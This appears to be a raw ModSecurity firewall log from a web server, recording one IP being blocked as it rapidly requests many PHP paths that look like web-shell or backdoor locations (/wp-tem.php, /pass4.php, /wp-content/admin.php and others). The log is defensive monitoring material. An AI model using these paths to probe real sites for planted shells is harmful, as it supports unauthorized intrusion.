[Tue Mar 24 01:17:31.696756 2026] [:error] [pid 56435:tid 56505] [client 40.85.222.197:17396] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tem.php"] [unique_id "acF1q8rwr-l5A-s9ryB52QAAAQY"]
[Tue Mar 24 01:17:32.143976 2026] [:error] [pid 56238:tid 56354] [client 40.85.222.197:17294] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tem.php"] [unique_id "acF1rFSqceFAZRgPDq6erQAAAMY"]
[Tue Mar 24 01:17:32.577731 2026] [:error] [pid 56237:tid 56327] [client 40.85.222.197:17282] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tem.php"] [unique_id "acF1rAymO0MnzQb90MMmrwAAAIY"]
[Tue Mar 24 01:17:33.016276 2026] [:error] [pid 56435:tid 56517] [client 40.85.222.197:17386] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av6m.php"] [unique_id "acF1rcrwr-l5A-s9ryB54wAAARA"]
[Tue Mar 24 01:17:33.482322 2026] [:error] [pid 56238:tid 56361] [client 40.85.222.197:17369] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av6m.php"] [unique_id "acF1rVSqceFAZRgPDq6etQAAAM0"]
[Tue Mar 24 01:17:33.949993 2026] [:error] [pid 56238:tid 56369] [client 40.85.222.197:17238] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av6m.php"] [unique_id "acF1rVSqceFAZRgPDq6euAAAANU"]
[Tue Mar 24 01:17:34.362238 2026] [:error] [pid 56237:tid 56337] [client 40.85.222.197:17361] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av6m.php"] [unique_id "acF1rgymO0MnzQb90MMmsgAAAJA"]
[Tue Mar 24 01:17:34.814710 2026] [:error] [pid 56238:tid 56364] [client 40.85.222.197:17365] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autogooey.php"] [unique_id "acF1rlSqceFAZRgPDq6evAAAANA"]
[Tue Mar 24 01:17:35.236386 2026] [:error] [pid 56238:tid 56371] [client 40.85.222.197:17364] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autogooey.php"] [unique_id "acF1r1SqceFAZRgPDq6evgAAANc"]
[Tue Mar 24 01:17:35.662292 2026] [:error] [pid 56435:tid 56504] [client 40.85.222.197:17285] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autogooey.php"] [unique_id "acF1r8rwr-l5A-s9ryB59QAAAQU"]
[Tue Mar 24 01:17:36.089599 2026] [:error] [pid 56236:tid 56310] [client 40.85.222.197:17359] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autogooey.php"] [unique_id "acF1sHapFgYp0uZ8twAiwwAAAFE"]
[Tue Mar 24 01:17:36.561196 2026] [:error] [pid 56236:tid 56297] [client 40.85.222.197:17268] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "acF1sHapFgYp0uZ8twAixQAAAEQ"]
[Tue Mar 24 01:17:37.007790 2026] [:error] [pid 56236:tid 56293] [client 40.85.222.197:17299] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "acF1sXapFgYp0uZ8twAixwAAAEA"]
[Tue Mar 24 01:17:37.452271 2026] [:error] [pid 56237:tid 56342] [client 40.85.222.197:17286] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "acF1sQymO0MnzQb90MMmuAAAAJU"]
[Tue Mar 24 01:17:37.897338 2026] [:error] [pid 56238:tid 56360] [client 40.85.222.197:17407] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "acF1sVSqceFAZRgPDq6eygAAAMw"]
[Tue Mar 24 01:17:38.341641 2026] [:error] [pid 56435:tid 56499] [client 40.85.222.197:17280] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "acF1ssrwr-l5A-s9ryB6BAAAAQA"]
[Tue Mar 24 01:17:38.751706 2026] [:error] [pid 56236:tid 56299] [client 40.85.222.197:17297] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "acF1snapFgYp0uZ8twAizAAAAEY"]
[Tue Mar 24 01:17:39.162970 2026] [:error] [pid 56435:tid 56505] [client 40.85.222.197:17292] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "acF1s8rwr-l5A-s9ryB6DwAAAQY"]
[Tue Mar 24 01:17:39.572663 2026] [:error] [pid 56435:tid 56516] [client 40.85.222.197:17337] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mga.php"] [unique_id "acF1s8rwr-l5A-s9ryB6FwAAAQ8"]
[Tue Mar 24 01:17:39.988533 2026] [:error] [pid 56237:tid 56331] [client 40.85.222.197:17366] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maxro.php"] [unique_id "acF1swymO0MnzQb90MMmwwAAAIo"]
[Tue Mar 24 01:17:40.405367 2026] [:error] [pid 56435:tid 56517] [client 40.85.222.197:17368] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maxro.php"] [unique_id "acF1tMrwr-l5A-s9ryB6HQAAARA"]
[Tue Mar 24 01:17:40.814942 2026] [:error] [pid 56237:tid 56342] [client 40.85.222.197:17355] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maxro.php"] [unique_id "acF1tAymO0MnzQb90MMmyAAAAJU"]
[Tue Mar 24 01:17:41.226466 2026] [:error] [pid 56435:tid 56513] [client 40.85.222.197:17290] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/maxro.php"] [unique_id "acF1tcrwr-l5A-s9ryB6IQAAAQw"]
[Tue Mar 24 01:17:41.637592 2026] [:error] [pid 56435:tid 56503] [client 40.85.222.197:17405] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agg.php"] [unique_id "acF1tcrwr-l5A-s9ryB6JAAAAQQ"]
[Tue Mar 24 01:17:42.047518 2026] [:error] [pid 56236:tid 56310] [client 40.85.222.197:17293] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agg.php"] [unique_id "acF1tnapFgYp0uZ8twAi0gAAAFE"]
[Tue Mar 24 01:17:42.458431 2026] [:error] [pid 56236:tid 56297] [client 40.85.222.197:17348] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agg.php"] [unique_id "acF1tnapFgYp0uZ8twAi1AAAAEQ"]
[Tue Mar 24 01:17:42.869799 2026] [:error] [pid 56435:tid 56504] [client 40.85.222.197:17382] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/agg.php"] [unique_id "acF1tsrwr-l5A-s9ryB6KgAAAQU"]
[Tue Mar 24 01:17:43.281459 2026] [:error] [pid 56236:tid 56313] [client 40.85.222.197:17373] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "acF1t3apFgYp0uZ8twAi1QAAAFQ"]
[Tue Mar 24 01:17:43.700390 2026] [:error] [pid 56237:tid 56335] [client 40.85.222.197:17334] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "acF1twymO0MnzQb90MMm3gAAAI4"]
[Tue Mar 24 01:17:44.119823 2026] [:error] [pid 56237:tid 56333] [client 40.85.222.197:17391] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "acF1uAymO0MnzQb90MMm4wAAAIw"]
[Tue Mar 24 01:17:44.532733 2026] [:error] [pid 56236:tid 56301] [client 40.85.222.197:17392] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "acF1uHapFgYp0uZ8twAi3AAAAEg"]
[Tue Mar 24 01:17:44.967153 2026] [:error] [pid 56435:tid 56514] [client 40.85.222.197:17381] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acF1uMrwr-l5A-s9ryB6NQAAAQ0"]
[Tue Mar 24 01:17:45.380009 2026] [:error] [pid 56236:tid 56310] [client 40.85.222.197:17221] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acF1uXapFgYp0uZ8twAi4QAAAFE"]
[Tue Mar 24 01:17:45.806219 2026] [:error] [pid 56236:tid 56313] [client 40.85.222.197:17394] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acF1uXapFgYp0uZ8twAi4wAAAFQ"]
[Tue Mar 24 01:17:46.220060 2026] [:error] [pid 56435:tid 56500] [client 40.85.222.197:17322] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "acF1usrwr-l5A-s9ryB6OQAAAQE"]
[Tue Mar 24 01:17:46.631510 2026] [:error] [pid 56435:tid 56503] [client 40.85.222.197:17287] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "acF1usrwr-l5A-s9ryB6OwAAAQQ"]
[Tue Mar 24 01:17:47.056965 2026] [:error] [pid 56236:tid 56314] [client 40.85.222.197:17367] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "acF1u3apFgYp0uZ8twAi5gAAAFU"]
[Tue Mar 24 01:17:47.471871 2026] [:error] [pid 56236:tid 56303] [client 40.85.222.197:17323] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "acF1u3apFgYp0uZ8twAi6QAAAEo"]
[Tue Mar 24 01:17:47.888040 2026] [:error] [pid 56435:tid 56507] [client 40.85.222.197:17300] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "acF1u8rwr-l5A-s9ryB6SQAAAQc"]
[Tue Mar 24 01:17:48.300643 2026] [:error] [pid 56435:tid 56525] [client 40.85.222.197:17218] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "acF1vMrwr-l5A-s9ryB6TwAAARg"]
[Tue Mar 24 01:17:48.718054 2026] [:error] [pid 56435:tid 56523] [client 40.85.222.197:17384] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "acF1vMrwr-l5A-s9ryB6UwAAARY"]
[Tue Mar 24 01:17:49.133870 2026] [:error] [pid 56435:tid 56507] [client 40.85.222.197:17378] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "acF1vcrwr-l5A-s9ryB6VwAAAQc"]
[Tue Mar 24 01:17:49.546050 2026] [:error] [pid 56435:tid 56516] [client 40.85.222.197:17350] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "acF1vcrwr-l5A-s9ryB6XQAAAQ8"]
[Tue Mar 24 01:17:49.957975 2026] [:error] [pid 56236:tid 56294] [client 40.85.222.197:17222] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acF1vXapFgYp0uZ8twAi8gAAAEE"]
[Tue Mar 24 01:17:50.369347 2026] [:error] [pid 56435:tid 56500] [client 40.85.222.197:17375] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acF1vsrwr-l5A-s9ryB6YwAAAQE"]
[Tue Mar 24 01:17:50.782156 2026] [:error] [pid 56238:tid 56359] [client 40.85.222.197:17301] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acF1vlSqceFAZRgPDq6e3QAAAMs"]
[Tue Mar 24 01:17:51.198392 2026] [:error] [pid 56238:tid 56349] [client 40.85.222.197:17371] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "acF1v1SqceFAZRgPDq6e4AAAAME"]
[Tue Mar 24 01:17:51.610728 2026] [:error] [pid 56238:tid 56348] [client 40.85.222.197:17296] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "acF1v1SqceFAZRgPDq6e5AAAAMA"]
[Tue Mar 24 01:17:52.023896 2026] [:error] [pid 56238:tid 56355] [client 40.85.222.197:17379] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "acF1wFSqceFAZRgPDq6e5QAAAMc"]
[Tue Mar 24 01:17:52.441072 2026] [:error] [pid 56238:tid 56371] [client 40.85.222.197:17173] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "acF1wFSqceFAZRgPDq6e6AAAANc"]
[Tue Mar 24 01:17:52.859559 2026] [:error] [pid 56435:tid 56515] [client 40.85.222.197:17240] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "acF1wMrwr-l5A-s9ryB6ZgAAAQ4"]
[Tue Mar 24 01:17:53.270934 2026] [:error] [pid 56238:tid 56357] [client 40.85.222.197:17251] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acF1wVSqceFAZRgPDq6e7AAAAMk"]
[Tue Mar 24 01:17:53.682544 2026] [:error] [pid 56435:tid 56517] [client 40.85.222.197:17233] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acF1wcrwr-l5A-s9ryB6aAAAARA"]
[Tue Mar 24 01:17:54.096019 2026] [:error] [pid 56237:tid 56335] [client 40.85.222.197:17312] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acF1wgymO0MnzQb90MMnGgAAAI4"]
[Tue Mar 24 01:17:54.513213 2026] [:error] [pid 56237:tid 56329] [client 40.85.222.197:17335] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acF1wgymO0MnzQb90MMnGwAAAIg"]
[Tue Mar 24 01:17:54.940472 2026] [:error] [pid 56236:tid 56310] [client 40.85.222.197:17165] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acF1wnapFgYp0uZ8twAi_gAAAFE"]
[Tue Mar 24 01:17:55.355585 2026] [:error] [pid 56237:tid 56326] [client 40.85.222.197:17390] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acF1wwymO0MnzQb90MMnIwAAAIU"]
